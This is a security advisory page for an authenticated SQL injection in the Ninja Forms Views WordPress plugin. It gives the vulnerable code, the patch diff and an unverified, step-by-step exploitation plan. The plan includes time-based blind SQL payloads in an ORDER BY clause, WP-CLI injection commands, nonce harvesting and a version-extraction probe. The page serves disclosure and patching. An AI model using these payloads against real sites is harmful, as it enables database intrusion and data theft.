CVE-2026-42741

Ninja Forms Views – Display & Edit Ninja Forms Submissions on your site frontend <= 3.3.2 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.3.3
Patched in
5d
Time to patch

Description

The Ninja Forms Views – Display & Edit Ninja Forms Submissions on your site frontend plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.3.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.3.2
PublishedMay 28, 2026
Last updatedJune 1, 2026
Affected pluginviews-for-ninja-forms

What Changed in the Fix

Changes introduced in v3.3.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-42741 (SQL Injection in Ninja Forms Views) ## 1. Vulnerability Summary The **Ninja Forms Views** plugin (versions <= 3.3.2) is vulnerable to an authenticated SQL injection within the `nf_views_lite_get_submissions` function. The vulnerability exists because th…

Show full research plan

Exploitation Research Plan: CVE-2026-42741 (SQL Injection in Ninja Forms Views)

1. Vulnerability Summary

The Ninja Forms Views plugin (versions <= 3.3.2) is vulnerable to an authenticated SQL injection within the nf_views_lite_get_submissions function. The vulnerability exists because the plugin fails to sanitize or prepare the sort values retrieved from a View's configuration before concatenating them into a WP_Query posts_orderby filter. An attacker with Contributor-level permissions can create or modify a View post, inject a malicious SQL payload into the sorting metadata, and trigger the execution of that payload by viewing the shortcode.

2. Attack Vector Analysis

  • Entry Point: The [nf-views id=VIEW_ID] shortcode.
  • Vulnerable Sink: inc/helpers.php, function nf_views_lite_get_submissions.
  • Payload Delivery: Through the view_settings post meta associated with an nf-views custom post type.
  • Authentication: Required (Contributor+). Contributors can typically create and edit their own posts of custom post types unless restricted.
  • Preconditions:
    1. A Ninja Form must exist with at least one field of type date.
    2. A "View" (post type nf-views) must be created and configured to use that form and sort by that date field.

3. Code Flow

  1. Shortcode Execution: When [nf-views id=123] is processed, NF_Views_Shortcode::shortcode() in inc/class-nf-views-shortcode.php is called.
  2. Metadata Retrieval: The function retrieves the View configuration:
    $view_settings_json = get_post_meta( $view_id, 'view_settings', true );
    $view_settings = json_decode( $view_settings_json );
    
  3. View Processing: It calls get_view($view_settings), which extracts the sorting parameters:
    $sort_order = $view_settings->viewSettings->sort;
    // ...
    foreach ( $sort_order as $sortrrow ) {
        $args['sort_order'][] = array(
            'field' => $sortrrow->field,
            'value' => $sortrrow->value, // <--- User-controlled value from JSON
        );
    }
    
  4. Submission Retrieval: It calls nf_views_lite_get_submissions($args) in inc/helpers.php.
  5. SQL Injection Sink: If the sorted field's type is date, the following logic executes:
    } elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) {
        $col_name = 'snfv' . $sortfield['field'] . '.meta_value';
        $date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name );
        $orderby_string .= "$date_col_string " . $sortfield['value']; // <--- UNPROTECTED CONCATENATION
    }
    
  6. Query Filter: The orderby_string is passed to the NF_Views_Query_Modifiers global and applied via the posts_orderby filter during a WP_Query call.

4. Nonce Acquisition Strategy

While the exploitation of the SQL injection itself occurs when viewing the shortcode (which requires no nonce), the setup (creating/modifying the View) might require a nonce if done via the admin UI.

  1. Shortcode Discovery: Identify the shortcode used for Ninja Forms Views: [nf-views id=...].
  2. Setup Script:
    • Create a Ninja Form using WP-CLI.
    • Create an nf-views post using WP-CLI.
    • Inject the malicious JSON payload directly into the view_settings meta key via WP-CLI.
  3. UI Alternative (if CLI is restricted):
    • Navigate to the "Views" creation page: /wp-admin/edit.php?post_type=nf-views.
    • The plugin localizes script data into nf_views_admin in nf-form-views.php:
      $nf_views_admin = array(
          'admin_url'    => admin_url(),
          'create_nonce' => wp_create_nonce( 'nf-views-create' ),
      );
      wp_localize_script( 'nf_views_admin', 'nf_views_admin', $nf_views_admin );
      
    • Use browser_eval("nf_views_admin.create_nonce") to obtain the nonce for AJAX save operations.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection payload appended to the ORDER BY clause.

Step-by-Step Plan:

  1. Initial Setup:

    • Create a Ninja Form (ID 1) with a "Date" field. Note the field ID (likely 1).
    • Create an nf-views post (ID 100) as a Contributor.
    • Assign the shortcode [nf-views id=100] to a public page (ID 200).
  2. Payload Construction:
    Craft a JSON view_settings object where the sort value contains the injection:

    {
      "formId": "1",
      "viewType": "table",
      "sections": { "beforeloop": {"rows": []}, "loop": {"rows": ["r1"]}, "afterloop": {"rows": []} },
      "rows": { "r1": {"cols": ["c1"]} },
      "columns": { "c1": {"size": 12, "fields": ["f1"]} },
      "fields": { "f1": {"formFieldId": "1", "label": "Date", "fieldSettings": {"useCustomLabel": false}} },
      "viewSettings": {
        "multipleentries": {"perPage": 10},
        "sort": [
          {
            "field": "1",
            "value": "ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)"
          }
        ]
      }
    }
    
  3. Injection:

    • Update the post meta for View 100:
      wp post meta update 100 view_settings '[JSON_PAYLOAD]' --format=json
  4. Trigger:

    • Execute an HTTP GET request to the page containing the shortcode.
    • Endpoint: GET /?p=200 (or the URL of the page with the shortcode).

6. Test Data Setup

  1. Create Form:
    wp eval "Ninja_Forms()->form()->set_setting('title', 'Exploit Form')->save();"
    (Identify the generated form ID, e.g., 1).
  2. Create Date Field:
    wp eval "Ninja_Forms()->form(1)->create_field(array('type'=>'date', 'label'=>'My Date'))->save();"
    (Identify the generated field ID, e.g., 1).
  3. Create View Post:
    wp post create --post_type=nf-views --post_status=publish --post_title="Vulnerable View"
    (Identify the generated View ID, e.g., 100).
  4. Create Trigger Page:
    wp post create --post_type=page --post_status=publish --post_content="[nf-views id=100]"
    (Identify the page URL).

7. Expected Results

  • Response Delay: The HTTP request to the page with the shortcode should hang for approximately 5 seconds.
  • SQL Execution: Monitoring the database logs (if possible) would show a query similar to:
    SELECT ... FROM wp_posts ... ORDER BY STR_TO_DATE(...) ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) LIMIT ...

8. Verification Steps

  1. Confirm Latency: Use http_request and verify time_total is $> 5.0$ seconds.
  2. Baseline Comparison: Change the payload to SLEEP(0) and verify the response time returns to normal ($< 1.0$ second).
  3. Data Extraction (Proof of Concept):
    Change the payload to extract the database version:
    ASC, (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a)
    Check if the delay occurs (indicating MySQL 8.x).

9. Alternative Approaches

If the date field path fails (e.g., if Ninja Forms API fails to load during the test), try the "Else" branch in nf_views_lite_get_submissions:

} else {
    $query_args['meta_query'][ '_field_' . $sortfield['field'] . '_clause' ] = array(
        'key' => '_field_' . $sortfield['field'],
    );
    $orderby[ '_field_' . $sortfield['field'] . '_clause' ] = $sortfield['value'];
}

In this branch, the $sortfield['value'] is passed into $query_args['orderby']. While WP_Query handles standard ASC/DESC safely, if the plugin version passes this directly to a raw query later (via posts_orderby filter), it might still be vulnerable. However, the date path is the most certain vector due to direct string concatenation into $orderby_string.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Ninja Forms Views plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to 3.3.2. An attacker with Contributor-level access can inject malicious SQL commands by manipulating the sort order settings within a View's configuration, which are subsequently concatenated into a database query without proper sanitization.

Vulnerable Code

// inc/class-nf-views-shortcode.php lines 65-72
			foreach ( $sort_order as $sortrrow ) {
				if ( isset( $sortrrow->field ) ) {
					$args['sort_order'][] = array(        // Data is taken directly from the JSON-decoded view_settings meta
						'field' => $sortrrow->field,
						'value' => $sortrrow->value,
					);
				}
			}

---

// inc/helpers.php lines 111-118
			} elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) {
				$col_name     = 'snfv' . $sortfield['field'] . '.meta_value';
				$join_string .= " LEFT JOIN {$wpdb->postmeta} AS snfv{$sortfield['field']} ON ( {$wpdb->posts}.ID = snfv{$sortfield['field']}.post_id AND snfv{$sortfield['field']}.meta_key='_field_{$sortfield['field']}')";

				$date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name );
				$orderby_string .= "$date_col_string " . $sortfield['value']; // Unsanitized 'value' is concatenated to ORDER BY string

			}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/views-for-ninja-forms/3.3.2/inc/class-nf-views-shortcode.php /home/deploy/wp-safety.org/data/plugin-versions/views-for-ninja-forms/3.3.3/inc/class-nf-views-shortcode.php
--- /home/deploy/wp-safety.org/data/plugin-versions/views-for-ninja-forms/3.3.2/inc/class-nf-views-shortcode.php	2026-03-11 16:31:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/views-for-ninja-forms/3.3.3/inc/class-nf-views-shortcode.php	2026-05-08 13:34:52.000000000 +0000
@@ -65,8 +65,8 @@
 			foreach ( $sort_order as $sortrrow ) {
 				if ( isset( $sortrrow->field ) ) {
 					$args['sort_order'][] = array(
-						'field' => $sortrrow->field,
-						'value' => $sortrrow->value,
+						'field' => nf_views_lite_sanitize_sort_field( $sortrrow->field ),
+						'value' => nf_views_lite_sanitize_sort_direction( $sortrrow->value ),
 					);
 				}
 			}
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/views-for-ninja-forms/3.3.2/inc/helpers.php /home/deploy/wp-safety.org/data/plugin-versions/views-for-ninja-forms/3.3.3/inc/helpers.php
--- /home/deploy/wp-safety.org/data/plugin-versions/views-for-ninja-forms/3.3.2/inc/helpers.php	2026-03-11 16:31:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/views-for-ninja-forms/3.3.3/inc/helpers.php	2026-05-08 13:34:52.000000000 +0000
@@ -47,6 +47,26 @@
 
 }
 
+function nf_views_lite_sanitize_sort_direction( $direction ) {
+	$direction = strtoupper( trim( (string) $direction ) );
+
+	if ( in_array( $direction, array( 'ASC', 'DESC' ), true ) ) {
+		return $direction;
+	}
+
+	return 'ASC';
+}
+
+function nf_views_lite_sanitize_sort_field( $field ) {
+	$field = (string) $field;
+
+	if ( in_array( $field, array( 'submission_id', 'entryId', 'entryDate' ), true ) ) {
+		return $field;
+	}
+
+	return (string) absint( $field );
+}
+
 
 /**
  * Get submissions based on specific critera.
@@ -76,28 +96,31 @@
 		$orderby = array();
 
 		foreach ( $args['sort_order'] as $sortfield ) {
-			if ( $sortfield['field'] === 'submission_id' || $sortfield['field'] === 'entryId' ) {
+			$sort_field     = nf_views_lite_sanitize_sort_field( $sortfield['field'] );
+			$sort_direction = nf_views_lite_sanitize_sort_direction( $sortfield['value'] );
+
+			if ( $sort_field === 'submission_id' || $sort_field === 'entryId' ) {
 				if ( ! isset( $query_args['meta_query']['seq_num_clause'] ) ) {
 					$query_args['meta_query']['seq_num_clause'] = array(
 						'key'  => '_seq_num',
 						'type' => 'numeric',
 					);
 				}
-				$orderby['seq_num_clause'] = $sortfield['value'];
-			} elseif ( $sortfield['field'] === 'entryDate' ) {
-				$orderby['date'] = $sortfield['value'];
-			} elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) {
-				$col_name     = 'snfv' . $sortfield['field'] . '.meta_value';
-				$join_string .= " LEFT JOIN {$wpdb->postmeta} AS snfv{$sortfield['field']} ON ( {$wpdb->posts}.ID = snfv{$sortfield['field']}.post_id AND snfv{$sortfield['field']}.meta_key='_field_{$sortfield['field']}')";
+				$orderby['seq_num_clause'] = $sort_direction;
+			} elseif ( $sort_field === 'entryDate' ) {
+				$orderby['date'] = $sort_direction;
+			} elseif ( ! empty( $sort_field ) && isset( $form_fields->{$sort_field} ) && $form_fields->{$sort_field}->type === 'date' ) {
+				$col_name     = 'snfv' . $sort_field . '.meta_value';
+				$join_string .= " LEFT JOIN {$wpdb->postmeta} AS snfv{$sort_field} ON ( {$wpdb->posts}.ID = snfv{$sort_field}.post_id AND snfv{$sort_field}.meta_key='_field_{$sort_field}')";
 
-				$date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name );
-				$orderby_string .= "$date_col_string " . $sortfield['value'];
+				$date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sort_field, $col_name );
+				$orderby_string .= "$date_col_string " . $sort_direction;
 
 			} else {
-				$query_args['meta_query'][ '_field_' . $sortfield['field'] . '_clause' ] = array(
-					'key' => '_field_' . $sortfield['field'],
+				$query_args['meta_query'][ '_field_' . $sort_field . '_clause' ] = array(
+					'key' => '_field_' . $sort_field,
 				);
-				$orderby[ '_field_' . $sortfield['field'] . '_clause' ]                  = $sortfield['value'];
+				$orderby[ '_field_' . $sort_field . '_clause' ]                  = $sort_direction;
 			}
 		}
 		if ( ! empty( $orderby ) ) {

Exploit Outline

The exploit requires Contributor-level authentication to create or modify a 'View' (custom post type `nf-views`). The attacker crafts a malicious `view_settings` JSON object and saves it as the post meta for the View. Within this JSON, the `viewSettings.sort` array must contain an entry where the `field` points to a Ninja Form field of type `date`, and the `value` contains an SQL payload (e.g., a time-based sleep command). When the attacker or any visitor views a page containing the shortcode `[nf-views id=VIEW_ID]`, the plugin processes the shortcode, retrieves the malicious settings, and executes the SQL payload by concatenating it into the `ORDER BY` clause of the submission query.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.